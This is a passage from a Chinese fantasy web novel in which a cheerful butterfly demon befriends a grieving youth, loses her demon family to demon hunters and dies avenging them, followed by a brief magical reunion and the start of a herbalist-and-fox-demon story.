江松被对方陡然的大声吆喝吓得一激灵,尤其是对方吆喝的内容,担心会不会太离谱。
他伸出手,正想和蝶乐乐说一下,这时一个妇人上来问:“哟,这果子又大又红润,真的是仙果吗?”
“肯定真的呀,我们刚从灵山上摘的,新鲜着呢!”蝶乐乐忙回答。
看着这在阳光下晶莹发亮的大果子,妇人心里微微动摇,“真有你说的那么神?”
蝶乐乐嘴巴一张,正要夸夸其谈这仙果的好处,发觉后摆被人扯了一下,接着听见江松压低声音道:“别骗人。”
蝶乐乐嘴巴一张一合,对妇人笑道:
“虽比不上那些仙丹,但也比寻常果子强,不信你买一个尝尝。”
蝶乐乐可没有骗人,她可是吃了不少,什么效果她知道。
就在两人交谈间,更多人被吸引过来,看着闪闪发亮的大红果纷纷走不动道,都凑上来询问。
蝶乐乐在左边眉飞色舞推销这仙果,江松在右边收钱收到混乱。
等太阳开始西坠,一地果子也卖了个干净。
捧着一堆碎银子和铜钱,江松呆愣地没回过神,这幅神态将蝶乐乐逗得哈哈大笑。
她笑得直仰头,下意识挽住对方胳膊,道:“有钱了,咱们去逛逛呗。”
她拉着对方自顾自往前走,以前她经常这样挽兔草草,丝毫没注意到对方身体的僵硬。
“诶,这有糖葫芦,咱们买两根尝尝吧。”
没等对方回答,她径直拦到扛着草把子的男人身前,笑道:“我要两根糖葫芦。”
边说着,她边伸出手,等着对方拿钱。
江松从兜里掏出一把铜币碎银直接塞进对方手中,反正这些钱至少有一半是对方的。
蝶乐乐皱了皱眉,只拿了几个铜板,将其他的还回去,道:“你把钱收好,我懒得拿。”
江松呆呆地应了声,只觉得哪里怪怪的,也没想到对方这熟练的语气和动作,好像他们很熟般。
买好糖葫芦,两人边吃边逛着街。
“糖葫芦可好吃了,”蝶乐乐乐滋滋道,“我第一次吃糖葫芦还是先生给我们买的。”
“教书先生?”江松咬下一颗山楂,酸得他眯了眯眼。
“是啊,先生可好了,”蝶乐乐忍不住笑起来,眼睛弯成月牙,“人也好,教的也好。”
“我们都可喜欢他了,我朋友本来要和我一起出来的,但舍不得先生,就没来。”蝶乐乐撇了撇嘴,郁闷几秒又笑起来。
“嗯……这么一说,我好久没回去了,嗯嘛嘛……”她低头看着糖葫芦,有些出神,像在自言自语,“可我还没混出什么名堂,再过段时间吧……”
“欸,下个月是不是元宵节?”蝶乐乐突然抬起头。
“嗯?嗯嗯!”江松将嘴里的山楂咽掉,连连点头,问:
“所以,你要回去过节吗?”
想到什么,蝶乐乐异常激动,“对,而且我要赚很多钱,要带着很多糖葫芦回去!”
她眼睛明亮,里面闪着光。
渐渐的,江松停下吃糖葫芦的动作,不知想到什么,嘴角缓缓搭拉下来。
他差点忘了,马上要元宵节了,这也是个家人团圆的好日子,而他已经没有了家人。
蝶乐乐踩着欢快的步子,还在兴冲冲说着:
“我得让他们知道我过得很好,我要给他们买礼物,诶呀,这么一想,我要给好多人买啊,兔草草、先生、牛壮壮、花儿、草儿、树长长……”
她念出一长串名字,让哪怕沉浸在自己悲伤中的江松都停下思绪,为之一惊。
“你、你家有这么多人啊!”
“是啊,”蝶乐乐有些苦恼地笑道,“都是我的家人呢。”
刚说完,她猛然一惊,意识到身旁的人已经没了家人,自己这么说也太不顾及对方感受了。
她悄咪咪侧头瞄了对方一眼,果然见对方垂着脑袋,握着糖葫芦的手也垂了下去。
她一心只想着安慰对方,下意识挽住对方胳膊,晃了晃,等对方侧头看过来,立马露出灿烂微笑。
“你和我一起回去吧,你可是我在人间交到的第一个好朋友,他们会很喜欢你的。”
蝶乐乐眨巴着眼睛,看得江松不适地扭过头,没几秒又扭回来,问:“真的吗?”
连他自己都没注意,这询问中藏着丝期待。
“当然了,我保证他们都会喜欢你的!兔草草会将她储存的果子给你吃,先生会教你知识,蜜蜜会将自己酿的蜂蜜给你,草儿会用草给你编很多小玩意儿……”
蝶乐乐又说的忘乎所以,但这次,身旁人的眼中却带着同样的期待。
等对方说完,江松提议道:“那我们明天再多摘些果子吧,多赚些钱。”
“好啊!”蝶乐乐满口答应,见对方不再低沉,自己也忍不住高兴。
两人接着逛了逛,但为了省钱没买些什么,不过依旧高兴。
晚上时,江松说找间客栈住,要两间房。
蝶乐乐嗫嚅着嘴,很想说她想带对方睡林子里,不但舒服,还能省钱,但她说不出来,感觉这样会很怪,毕竟,她很少见有睡在林子里的人类。
想了想,她折中一下,想出一个自以为再好不过的办法——
“你去睡客栈吧,我睡林子里就好。”
江松:“……”
但凡有点良心,他都不会同意。
见对方拒绝,蝶乐乐解释道:“别担心,我从小就睡林子里,睡那可舒服了。”
她说完,见对方陷入沉默,诡异的沉默。
啊这,她说错啥了?
江松在心中沉沉叹了口气,没想到对方的生活也如此不如意,但对方却如此乐观……
他知道对方想省钱,他理解,但不希望对方睡在外边,鬼使神差的,他说出了五分钟后让他后悔不已的话——
“我们睡一间房吧。”
蝶乐乐:“……”她怎么就没想到这么好的办法呢?
于是五分钟后……
江松咽了咽口水,握紧因紧张而发颤的手,挪到了床边。
床上的人一脸茫然地看过来。
刚挨到床,他犹如被烫到般跳出去,结巴道:“我、我记得,有本书上,写了句话,叫男、男女授受不亲。”
他没上过几年学堂,这是他记得的为数不多的知识。
而蝶乐乐,作为一只没上过几月学堂,且经常上课走神或与周围人玩闹的贪玩蝴蝶妖,压根没听过这句话,一脸天真地问:
“这是什么意思啊?”
“应、应该是说,男女不能,不能挨太近吧。”江松结结巴巴道。
“朋友也不能吗?亲人呢?”蝶乐乐睁着好奇的眼睛。
怎么说呢,以前冬天时,小妖怪们都挤在一个窝里取暖,又暖和又有意思,哪有谁在意什么男女。
见对方回答不出来,蝶乐乐裹着被子一翻身,顺手将脑袋也埋进被子里,声音因被子隔绝而有些闷闷的,“快睡吧。”
江松张张嘴,像是有话要说,最终也只是沉默地钻进被窝。
这一夜睡得真舒服,好像被火炉围着,是与之前都不同的一晚。
第二日早,树叶上还蒙着薄薄的霜,在初升的太阳下反射出五彩的光。
咔嚓——
踩着折断的树枝,两个人影从林中走出。
“哈欠——”
蝶乐乐伸
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了个懒腰,旋即搓了搓手臂,早上的温度不高,山谷间的风还混着昨夜的寒冷。
密密挂在枝叶间的红果子在一片绿色中红得晃眼,呼吸间好像有果香萦鼻。
“开工啦!”蝶乐乐高呼一声,冲向最近一棵果树。
在她即将三两下爬上树枝时,江松忙道:“我来摘。”
这么危险的工作应该他来。
“啊?”蝶乐乐停下动作,后退两步,“哦,那你注意安全。”
她将衣摆扯平,做好了接果子的准备。
江松艰难地爬上枝头,喘了口气,低头一望,双腿开始打颤。
他一手扶着树干,一手去摘果子,摘好了半弯着膝盖,向下轻轻一抛,扔进蝶乐乐衣服里。
“好样的,再来一个!”蝶乐乐鼓励道。
江松笑了笑,视线一晃,脸色瞬间白了,赶紧抿住嘴,继续摘果子。
每棵树的果子他们只摘一些,要为其他小动物或者人留着。
“够了,咱们换一棵树摘吧。”蝶乐乐将兜住的果子堆在地上,朝上面喊。
“好……”江松颤着声音回答。
他调试着动作,缓缓挪动脚步,心中感叹一声,爬树真是上去不容易,下来更加难。
他抱住树干,准备滑下去,脚刚伸出,却因恐高顿时失力,身体剧烈一晃,下意识大哇一声,整个人往下坠。
但就在下一秒,他感觉自己的腰被人抱住,闭眼前看见了五彩的光。
手臂有些酸,最后关头他抓住了树枝,整个人被吊着。
睁开眼,胸前是颗毛茸茸的脑袋,视线一挪,一对轻轻扇动,流光溢彩的翅膀出现在目光中。
“你……”他张着嘴巴,却惊讶得说不出话来。
蝶乐乐仰着脸,落入对方眼中。
她抿着唇,眉头紧锁,似乎有些生气,抱住对方腰的手微微收紧。
“放手,我带你下去。”她语气冰冷,江松下意识听话地松开手,整个人被对方抱紧,几秒的失重感后,他稳稳地踩在地面上。
蝶乐乐“唰”的将翅膀收起,叉腰盯着对方,“你傻啊,惧高早说啊,早知道就我来摘了。”
“我……你……”江松看着对方身后,那对翅膀消失了,“你的翅膀……”
蝶乐乐眉头一挑,笑着靠近对方,“你想看我翅膀?我翅膀可好看了,是林子里最好看的!”
她并不介意对方知道自己是妖,或者说,她从未隐瞒过。
随着对方靠近,江松不由的后退一步,“你……你是妖……”
蝶乐乐站直身,抱臂看他,“你怕我?”
听她语气,只要江松说个是,对方绝对会扭头就走,再也不理自己。
这么一想,好像更可怕。
“我不怕。”江松冷静下来,摇头。
如果没有对方,今日早他可能就不存于世,与鬼相见,这么一想,连死都不怕的一个人,世上再没有令他害怕之物。
蝶乐乐紧绷的脸松缓下来,“想看我翅膀吗?”她上前一步,这一次,对方没有后退。
不待江松回答,身后的翅膀陡然展开,在阳光下熠熠生辉,灿烂夺目。
“想不想飞?”她问。
“……想。”
“嘿咻!”蝶乐乐扇着翅膀,眨眼间出现在对方身后,一把抱住对方的腰,一飞冲天。
失重感瞬间将江松包裹,唯一的着力点在抱在他腰上的手上。
他紧闭着眼睛,感受着拂在脸上的风,这风是寒冷的,被午时的阳光穿过,带着微弱的暖。
“害怕我们就下去。”蝶乐乐感受到对方身体的僵硬,说。
江松缓缓睁开眼,一幅怡美山间风景图出现在视野中,美得他忘了自己身处高空。
蓝天白云就在身后,太阳比任何时候离他都近。
突然,他想起对方的话——“还有很多美丽的风景,难道你都去看过了?”
他没看过,很多风景他都没看过,很多美食他都没尝过,很多地方他都没去过……
这世界还是很美的,他该留下来多看看。
48. 悲观少年与乐观蝶妖(4)
两人在空中转了一圈,缓缓降落在原地,玩够了,继续忙活。
摘好果子,便拿到城中去卖。
城里比小镇上的人流量大,买果子的人更多,出手也更加阔绰,哪怕这次两人摘的果子比昨日多,没一会也卖了个精光。
“走,逛街去。”蝶乐乐侧头看他,“你还是要和我回去的,是吧?”
对方是妖,那她的家人,也全都是妖吧。
江松:“他们……”
“他们很好的。”蝶乐乐打断道,“你以为他们会吃掉你吗?哼,你还没果子好吃。”
“那……我还是跟你回去吧。”
察觉到对方还有些担心,蝶乐乐嘻嘻一笑,“先生也是人,不要怕啦。”
江松暗暗呼了口气,“那我们先看看可以给你家人带什么礼物吧。”
“好!”
两人欢欢乐乐逛起了街,从这头逛到那头,逛到月亮初上,华灯亮满街。
到了晚上,人流虽比白日少了些,却依旧热闹。
不知不觉间,两人不知逛到了何处,一抬头,面前是座富丽堂皇的建筑,前门左右站着两个魁梧男人,无声中散发着恐怖气息。
“这是什么地方?”蝶乐乐问。
江松顺着看过去,思索两秒,脸色微变,一把拉住对方,往一条暗巷快步走去。
“咱们快走。”
蝶乐乐被对方拉着,跌跌撞撞融入小巷里的黑暗。
“怎么了?”
“那是卖妖物的地方,里面多的是降妖士。”
黑暗中,蝶乐乐看不清对方的神色,却明显察觉对方语气的严肃,话中意思也让她惊了又惊。
她心中闪过害怕,但更多的是恶心,是愤怒。
她轻轻挣脱江松拉住她的手,缓缓跨出黑暗,任这建筑的辉煌灯火在她眼眸中跳跃。
又一个男人走向那座建筑,他带着降妖士常有的严肃,紧锁着眉,好像肩上担着消灭世间妖孽,维护人间和平的重任。
蝶乐乐鼻尖轻动,瞳孔瞬间睁大,她闻到了,一股熟悉的味道。
不,不只是一股,也不只是一种,是……
“怎么了?”见对方僵住,江松拉住她胳膊,害怕她有什么出乎意料的动作。
“我好像闻到了兔草草的气息,还有牛壮壮他们的……”蝶乐乐失神道,视线因为那男人彻底进入建筑而没了落点。
“什么?”江松没理解对方的话。
“不行,我得回去看看。”蝶乐乐后退一步,转身冲进黑暗。
“蝶乐乐!”江松急忙跟上对方,却只看见无尽的黑暗,他的呼喊在小巷中静静回荡。
蝶乐乐展开翅膀,发了狠般扇动。
夜色中,她的翅膀在月光下闪着绚丽的光,流星般在林中划过。
她翅膀扇动得太用力,风声猛烈,夹杂着草木折断的脆响。
“谁啊,大晚上不睡觉?”闻雀忽然出现在枝头,满脸怒容在看见那道彩影时僵了一下。
“蝶乐乐?飞这么急,全家死了奔丧呢。”她骂骂咧咧,猛地打了个冷噤,抬头一瞥,咕哝道:
“今晚的月光真寒啊!”
蝶乐乐翻过两座山头,穿过数片林子,终于在天蒙蒙亮时赶到。
学堂屋顶的轮廓就在眼前,堂前翠竹被晨雾打湿,青翠欲滴。
翅膀用力扇了一晚,已经痛得收不回来,她只能靠脚挪过去。
一切依如她离开时那样,四周寂静无声,还不到上学的时候,先生应该也还没起。
明明一切都很正常,却莫名让她心慌,一口气闷在胸口。
她就近敲响先生屋门,没得到回应,推开门,里面什么都在,唯独少了人。
身体猛地一晃,不好的预感越发强烈,她扶着墙走出去,低喃:“不会的……”
毫无预兆的,她向着林子狂奔,一边奔一边喊,喊兔草草,喊先生,喊牛壮壮……
她将每个人都喊了,喊了一遍又一遍,没有人回答。
林子里寂静一片,终于,随着她的呼喊,一个身影小心翼翼冒出头。
“是蝶乐乐吗?”对方问。
蝶乐乐停住脚步,看见对方像在迷途看见方向,“桃奶奶。”
她跌撞着跑过去,颤着声音问:“大家呢?”
她心里隐隐有个猜想,却不敢去展露。
“大家……大家没了。”
“什么意思?发生了什么?”
是降妖士,”对方扶着她的手也在发颤,“是降妖士杀了学堂里的孩子们,还差点将林中大家杀尽……”
“大家……真的没了……”蝶乐乐再也忍不住,鼻尖酸涩,声音哽咽,眼泪大颗大颗落下。
“奶奶……”她无助地喊,却说不出下一句话。
“孩子,”桃奶奶将对方抱在怀中,“学堂后面有一片坟,是先生为孩子们埋的,先生走了,走了也好。”
蝶乐乐重重呼了两口气,从对方怀中直起身,咬牙道:
“我要报仇,我要杀了降妖士,为大家报仇!”
她语气坚定,后退两步,猛地展开翅膀,飞离此地。
“孩子,别做傻事!”
蝶乐乐什么也听不见了,她知道降妖士在哪,她一心要对方死,付出任何代价都不足惜。
那片坟地就在她下方,一个又一个小土堆,他们,在看着自己。
马上就到元宵节了,马上她就会带着一堆礼物,和她在人间交到的好朋友回来,与大家快快乐乐过节。
明明一切都是很好的,为什么会发生这种事呢?
不知飞了多久,她收住翅膀,降落在林中枯草地上,大喊:
“闻雀,出来!”
“蝶乐乐,你今天都在发什么神经?”闻雀出现在枝头,睡眼惺忪。
“你要是还想为那个人类要回钱,我劝你打消这个念头……”
“大家死了。”蝶乐乐打断道。
“什么?”对方一愣。
“灵山里的大家死了,被降妖士杀了。”蝶乐乐看着对方,平静道。
沉默一会,闻雀皱着眉,浑身散发着低气压,“你确定?”
“你回去看看吧。”
闻雀盯着对方,没从对方那倍受打击的脸上看出任何伪装,想了想,她咻地化作一阵灰色的风,穿梭在林间。
蝶乐乐身体一晃,突然蹲了下来,捂着脸,丝丝抽泣声传出。
没过多久,闻雀回来了,还带着几只妖。
她神色不太好,看向蝶乐乐,问:“你准备怎么办?”
“我要报仇。”蝶乐乐看着他们,眼中是从未如此的坚定,“我要杀了他!”
她呼了口气,平复下心情道:“我知道降妖士在哪,我可以将他引过来,我们将他围杀。”
“没问题。”闻雀露出利爪,在阳光下泛着慑人光芒。
又就这计划商量下细节,等到太阳开始下落,蝶乐乐道:“太阳落山前我会将人引过来。”
月亮初升时,妖力会稍有些提升,且在黑暗中,他们比人类更敏捷,也能凭借对林子的熟悉获几分优势。
飞出林子,一片碧绿草坪上,一个人影猝不及防落入她眼中。
两人都在第一时间看见对方。
“蝶乐乐!”江松跑了过来,将对方上下看了看,视线落在她脸上,担忧
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道:“你还好吗?”
“对不起啊。”蝶乐乐突然道,看着对方,她的情绪再也收不住,眼泪涌出眼眶。
“原来没有家人会这么难过,难过得想死,人间再美也没用。”越说,她越抽噎不止。
“你……”江松下意识抬起手臂,却又缓缓放下,“你家人……”
“他们被降妖士杀了!”
生灵的悲伤是会传染的,江松跟着心绞起来。
他很想安慰对方,却不知该说些什么,当年的他也是这样,对方的哭声将他带回那段他不愿回想的岁月。
最终,他抱住了对方,抬手在对方背上安抚性的拍着。
“我是来和你道别的。”蝶乐乐止住哭声,“我要杀了降妖士,哪怕是死,所以,可能以后我陪不了你了。”
“需要我做些什么吗?我不怕危险。”他的意思是,如果对方不在,他也不愿活着。
太阳还很灿烂,溪水清澈,山间的风温柔。
“人间很美,活着还是很好的。”蝶乐乐看向他,“如果我能活下来,我会继续热爱生活,希望你也一样。”
江松突然觉得很困,阳光好像有些晃眼,拂来的风太过柔和,昏昏沉沉的,他闭上了眼。
失去意识前,他听见一个声音,对方说:“多笑笑,可以把幸福招来哦!”
他突然意识到什么,努力将眼睛撑开,睁大,他不能睡,不能睡。
对方的背影在视野中逐渐远去,越来越小,直到没入林中。
“不要……”他伸出手,无力地抓了抓,什么也没抓到。
即使陷入昏迷,他的潜意识也在将他唤醒,他失去过一次,不愿再一次失去重要的人。
呼——
他猛地坐了起来,半个太阳落入山脚,余晖将天地染成了橙黄色。
“蝶乐乐!”江松连滚带爬爬起身,心有预感,冲着林中奔去。
越往里走,一股压迫心脏的威压越沉重,打斗爆破声越发清晰。
他一下子冲了出去,看见眼前几人交战的一幕。
蝶乐乐张开着翅膀,扇动间撒下粼粼光粉。
还有闻雀,骗走他钱的那位,没想到对方也是妖。
两人与另几只妖合力,将降妖士围困在中间。
“找死!”降妖士突然抓住一把金针,朝空中一扔,金针瞬间化作一道道金光,向着几妖射去。
闻雀衣摆翻飞,凝成一道灰色风墙,金光猛地刺去,却被镶嵌在墙中,无法再进一步。
然而,闻雀脸色并不好看,抬起给风墙供输妖力的手在微微发颤。
蝶乐乐的妖力在几妖间最弱,她抬手抵挡,却被金光轻松破开保护罩,一击穿透胸口。
“蝶乐乐!”江松嘶吼,想也没想,冲向了降妖士,一把将对方抱住。
“混账!”降妖士反手抓住他手臂,一个发力将其扔了出去。
江松被狠狠撞向最近的树干,一口气瞬间被撞碎在胸腔内,眼前昏花,接着是全身的疼痛。
趁着对方被干扰,蝶乐乐松开捂着伤口的手,任血液流淌。
她飞在空中,狠狠冲向对方,在对方反应过来前,引爆妖丹。
“不要!”江松趴在地上,使出一切力气嘶吼,眼泪夺眶而出,重重砸落在地。
“人间很美,如果可以,好好活着吧。”
四周重回寂静,月亮升了起来,月光撒满地。
一个人走了过来,闻雀蹲下身,拿出一只钱袋,“你的钱,拿去治伤吧,这是我欠蝶乐乐的。”
说完,她站起身,视线在在场所有人脸上扫了扫,又垂下头,喃喃道:“原来,我这么久没回家了……”
49. 悲观少年与乐观蝶妖(5)
“你的愿望是想再见她一面,这简单啊。”
孟梨食站直身,从空间袋中掏出一支笔,嘀咕道:
“正好我也有句话要带给她。”
她将灵力注入笔中,抬手挥了一下,一道白金色线条浮现空中,然后,她顿住了。
“怎么不画了?”小魂问,另外两人投来的视线夹杂着期待与疑惑。
孟梨食轻咳一声,摊手道:
“我不知道蝶乐乐长什么样子,画不出来。”
小魂:“……”
“笔给我吧。”小魂右手接过笔,左手轻轻覆在江松额头,它闭上眼,右手开始动作。
没一会,一幅寥寥几笔却极其传神的人像出现在空中。
孟梨食思忖:“查看记忆?哟,没想到你画技如此了得。”
画在空中浮动,一片点点光亮中,蝶乐乐从中飘了出来,笑意盈盈地看向江松。
“蝶乐乐。”
孟梨食喊道,思索着,在对方看过来时说:
“兔草草让我给你带句话,虽然现在说有些没必要,但受人之托,终人之事,不完成我心里难安。”
“兔草草?”
孟梨食回忆着说道:“嗯,对,她让你照顾好自己。”
对方愣了一下,旋即苦涩地笑道:
“嗯,知道了,谢谢你。”
她望着被耀眼星辰装饰的夜空,沉沉的,叹了口气,几个呼吸间,她将悲伤收好,扯着嘴角笑了笑。
“你怎么愁容满面的?”蝶乐乐歪头看向江松,一把将其从地上拉起,“走,咱们逛街去,吃了糖葫芦心情就会变好,我也得吃一根。”
江松还没反应过来,就被对方拉进了人流,融入到热闹中。
“接下来呢?”江余客问。
“他们玩他们的,我们玩我们的呗!”孟梨食收回视线,朝另一个方向走,“走,咱们也去买糖葫芦。”
“好诶!”小魂将神笔扔进空间袋,急忙跟了上去。
江余客依旧侧头,望着江松和蝶乐乐离去的方向,只觉得满街灯火都被晕开,变得模糊,变得虚幻。
“看什么呢?”孟梨食远远叫他,“走了。”
“来了。”江余客收回视线,跟了上去。
元宵节,在这片热闹海洋中,快乐会被放大,悲伤也会被放大。
“怎么这么慢,小魂都不知道飘哪去了。”孟梨食轻声责怪,见对方一脸傻笑,一把抓住对方,挤着人群往前划拉。
“我已经买好了。”小魂握着三根糖葫芦,飘在人海上方,在一排排灯笼中穿梭。
“好香啊!”孟梨食鼻尖嗅嗅,忍不住陶醉。
“香吗?”小魂转着糖葫芦闻了一圈,也不是很香啊。
“吃起来才香,喏。”它递出糖葫芦,江余客道了谢接过,孟梨食却将头一扭,继续嗅着。
“是酒香,前面有家酒肆!”
“你不是说要吃糖葫芦吗?”
眼见对方顺着酒香就要消失在人群中,小魂左右各拿着根糖葫芦,一下子腾不出手,情急之下啪叽一声盖在对方头上。
“小孩子才吃糖,像我这种成熟的人自然是要喝酒的。”孟梨食顶着一团魂,穿过人流,直向目的地出发。
她刚走两步,衣摆被人轻轻抓住。
“带上我。”江余客看着她。
孟梨食微微一愣,感觉心里怪怪的。
见她顿住,趴在头顶的魂不解情况,挥着两根糖葫芦喊:“前进!”
“咳!人多,抓紧了。”孟梨食扭过头,在人群中一本正经划拉。
江余客忍着笑,看着她在前面开路,又看了眼握着糖葫芦瞎指挥的小魂,只觉得真好,说不上来的好。
终于,三人划拉进了酒肆。
孟梨食只觉得自己被那酒香包裹,全身心都舒坦起来。
她左右一瞧,见每张桌都围坐了人,唯角落里那桌只坐了对老人家。
还有两个位置,刚好她和江余客坐,小魂就一旁飘着。
而且,老人家能喝多少酒,估计马上就离开了。
她走过去,在看清两人时,正要挤出的笑容一僵。
“有事吗?”女人抬头笑问。
“啊!”孟梨食回过神,不好意思地笑道:“店中座椅都坐满了人,想问问,是否介意我们坐这。”
“我们正好要走。”女人站起身,将喝的迷迷糊糊的男人拎起来,让其靠在自己肩膀上。
“喝酒……还要喝……”男人咕哝着,在女人肩膀上拱了拱。
“乖一点,我们回家。”女人在男人背上拍了拍,视线在孟梨食脸上微微一停,“卖水人吗?”
孟梨食点头。
对方笑了一下,不再多说,带着人离开。
几人落座,孟梨食招呼小二上酒。
“我不喝,我劝你少喝一些,省的耍酒疯。”小魂说着,恨恨吃着糖葫芦,一边吃一口,完全没想着给某个成熟的家伙留。
“会耍酒疯吗?”江余客隐隐有些期待。
“我已经不是当年的我了。”孟梨食哼哼两声,当着两人的面直接猛灌一口酒,哈的一声,放下酒壶,朝小魂扬下巴。
江余客又隐隐有些失望了,他想起刚才那对夫妻,看起来得有六七十岁的高龄,却依旧如此恩爱,真是难得。
孟梨食喝酒喝上了瘾,配着些花生米和小菜,干完一碗又一碗,时不时咂咂嘴,灵感突涌,激动道:
“我有个好点子,可以改进孟婆汤!”
小魂一脸惊恐,对江余客道:“你看着她,我出去买些零嘴。”
孟梨食不满道:“我又没醉,不需要人看着。”
“真的没醉?”江余客伸出食指,“这是几?”
孟梨食:“……”
“江、余、客!”孟梨食怒了,“找揍是吧!”
她变出数根红线,将对方牢牢束紧,捞起一只盛满酒的碗就往对方嘴里灌。
“唔……我酒力不……唔,不行……”江余客偏过头想避开,却被对方钳住下巴扳了回来。
挣扎间,清冽的酒液从对方嘴角滑落,顺着喉结往下,滑入衣领深处。
“咳咳!”对方呛红了眼睛,迷蒙地看着孟梨食。
孟梨食被看得心脏砰砰跳动,她收住手,心道刚喝了太多酒,酒劲上来了。
小魂在外面逛够了才慢悠悠飘回来,一回来便见江余客瘫在桌上,脸色红润,而坐在桌对面的孟梨食也脸庞泛红,盯着碗里的酒液出神。
“干啥呢这是?”
瞧见对方,孟梨食站起身,“时间差不多了,走吧。”
“什么时间差不多了?去哪?”
“卖水。”
小魂“哦”了一声,不是很明白,它飘到江余客面前,看向孟梨食,“这咋办?”
“你扶着他。”
小魂瞪大了眼睛,指指自己,又指指趴在桌上不省人事的家伙,不敢置信道:
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“你让我去扶他?我会被压成饼的!”
“啧!真麻烦!”孟梨食走过去,一把抓住江余客胳膊,将他手臂搭在自己脖子上,抬脚便往外走。
感受到震动,江余客不适的“唔”了声,在孟梨食脖颈里拱了拱。
孟梨食浑身一僵。
正往前飘的小魂见对方停住,不解道:“怎么不走了?”
孟梨食侧头盯了江余客一眼,咬牙道:“来了。”
他们回到湖边,被湖面上的风一吹,酒气散了大半。
江余客被扔在岸边石阶上,被风吹了又吹,打了个冷噤,酒醒了。
“我怎么在这?”他一脸茫然。
小魂捂嘴笑道:“你喝醉了,孟梨食扶你过来的。”
“啊?”江余客看向孟梨食,后者却扭过头,视线在来来往往的人前扫过。
她目光一顿,落在两个熟悉的身影上。
江松与蝶乐乐朝他们走来。
“如何?”孟梨食打了个响指,“你的愿望我已经帮你实现了。”
江松握着蝶乐乐的手,笑道:“谢谢你们。”
“买水吗?忘情水,一碗解忧又忘愁,限时半价。”
和以往很多人一样,对方犹豫了,沉默了。
“……我不想忘记对方。”他说。
说完,他感觉手指被捏了捏,侧过头,看见蝶乐乐认真道:
“我希望你快乐,如果记住我让你痛苦,不如把我忘掉。”
江松攥紧了对方的手,不论悲伤或是喜悦,他都不会忘记对方,忘记那段经历。
他说:“让我记住你吧,我会好好活下去的,会每天都笑的。”
视线在两人脸上扫了又扫,孟梨食失落道:“所以,不买吗?”
“不买。”江松语气坚定。
“呼,行吧,但你要记住,美好的虚幻终究破灭,迎接你的只有冰冷的现实。”
说着,孟梨食挥手,蝶乐乐的身体开始消散,化作无数星粒,飘向满天繁星。
蝶乐乐看了看正在消散的双手,抬起头,对上江松悲伤的眼神,露出笑来。
她轻轻的,用额头碰了对方的,说:
“我终于明白,比起活着,更重要的是快乐地活着。”
在对方完全消散前,江松颤着手,紧紧抱住了对方,感受着对方的消失。
一切,都结束了。
江松与孟梨食等人道了别,踏上凌晨已经变得冷清的街道。
望着对方渐远的背影,小魂忍不住对孟梨食道:
“凭我俩的灵力,可以让蝶乐乐再存在几日。”
“反正迟早要消散,假的,终归是假的。”
小魂噘着嘴,扭过身不说话。
“好了,”孟梨食拍了下掌,让两人收回思绪,“还有门生意要做呢,走吧。”
“啊,我怎么不知道?”小魂满脑子问号。
孟梨食带着两人,东拐拐,西转转,时不时停住脚,咕哝道:“应该就在附近。”
“你到底要去哪啊?”小魂连打两个哈欠,翻了个身飘在空中,它这个姿势飘得很慢,时不时会被江余客推一下。
孟梨食停下脚步,在她面前十米处,站着个老人。
“看来到了。”孟梨食头也不转,伸手将飘在身旁的小魂翻了个面。
“竟然是她吗?”江余客微微惊讶,在酒肆里遇见的那对恩爱老夫妻,如此恩爱,也会来买忘情水吗?
50. 采药人与狐妖(1)
女人走了过来,对着几人微微颔首道:“卖水人,我需要在你这里买一碗忘情水。”
“我的规矩,想必你也知道。”孟梨食道。
对方点头,抬手示意,“我家就在街后,烦各位移步。”
几人被带去街后一座小院前,很温馨的小院,院中架有秋千,设有木桌木椅,桌上备有清茶。
两层木屋,二层阳台栽有一排花草,也备有小几清茶。
女人引着他们落座于院中,边布茶边道:“我叫清茶,就是你们马上要喝这个。”
她笑笑,将茶杯推出,继续道:
“我是个采药人,有一间药堂。我的爱人叫云追,现在还在床上睡着,他酒力不佳,却爱饮酒,劝都劝不了。”
说起她爱人,她满眼笑意。
江余客更困惑了,现在来看,对方恩爱确实不假,那为何……
直到对方说出下一句——
“我的爱人是只狐妖,灵台山中的狐妖。
“他以为自己隐藏的很好,随我一起变老,但我早就知道了他的身份,他太单纯了,傻傻的。”
顿了顿,她盯着茶杯中的一枚茶叶,陷入许多年前的回忆:
“那时我还很年轻,背着竹篓去山上挖草药,遇见只小狐狸……”
中午的太阳太毒,清茶左右一瞧,走到一棵粗树下休息。
她将竹篓脱下,将里面的草药检查一番,心道还是得来林子另一边,这里的草药不但种类多,年份也高。
她从腰间布袋里翻出一张饼,又将挂在腰另一边的水壶取下,靠着树干慢慢用起了午饭。
山间的风吹过,将林间枝叶吹得沙沙作响,而在这细微声响中,夹杂着一道更加明显且用力的枝叶晃动声。
清茶嚼饼的动作一顿,死死盯着声音来源,视线落在她前面不远处,一处草丛中。
草丛剧烈晃动,她握着药锄,缓缓站起身……
下一秒,一只通体雪白的狐狸探出了头,在看见她的瞬间又轻叫一声缩了回来。
清茶一愣,举着药锄的手臂落了下来,想了想,她退了回来,挨着树干继续吃午饭。
刚咬下一口饼,窸窸窣窣声再次响起,清茶瞟了一眼,没当回事,干饭干得格外认真,等她抬起头,那只白色狐狸已经钻出草丛,就在不远处畏惧又好奇地看着她。
清茶想了想,朝对方伸出手,“啜啜——”
狐狸:“……”它又不是狗。
见对方不动,清茶再次想了想,捕捉到对方落在自己饼上的视线,试探性地将饼举起来。
小狐狸跟着将头抬起。
清茶又将饼往左挪,对方的脑袋跟着朝左转。
明白了,还真是看中她饼了。
清茶将饼撕下一小块,朝对方晃晃,伸了出去。
小狐狸犹豫一秒又一秒,一会盯着面前的人,一会又看看对方手中的饼,最终迈出步子,一步步靠近。
直到它将饼叼进嘴中,什么都没发生。
一人一狐各自吃着自己的饼,相安无事。
吃完饼,清茶灌了口水,见对方在盯着自己,拿着水壶扬了扬,问:“喝水不?”
小狐狸踏踏脚,身后的尾巴一甩一甩的,看得出很心动又很为难了。
清茶笑笑,故意道:“诶呀,水只剩一点了,既然你不喝我就全喝了。”
她作势将水壶举起,扬起下巴,余光却看见小狐狸呜呜叫了一声,最终走了过来。
呵,傻狐狸。
清茶将水倒入手心,看着对方轻轻喝水,舌头在她掌心舔过,痒痒的。
喝完了水,她靠着树干半躺着,手在对方背上一下又一下顺毛,眼睛半眯。
阳光穿过枝叶间的缝隙,一缕一缕地撒下,铺在她衣服上,将小狐狸雪白的皮毛照得金黄。
对方打了个哈欠,靠在她腰间迷迷糊糊的睡着了,睡着睡着,还翻了个身,四肢趴在她怀里。
清茶眼睛一睁一闭间,眼睁睁看着这只没睡相的狐狸化出人形。
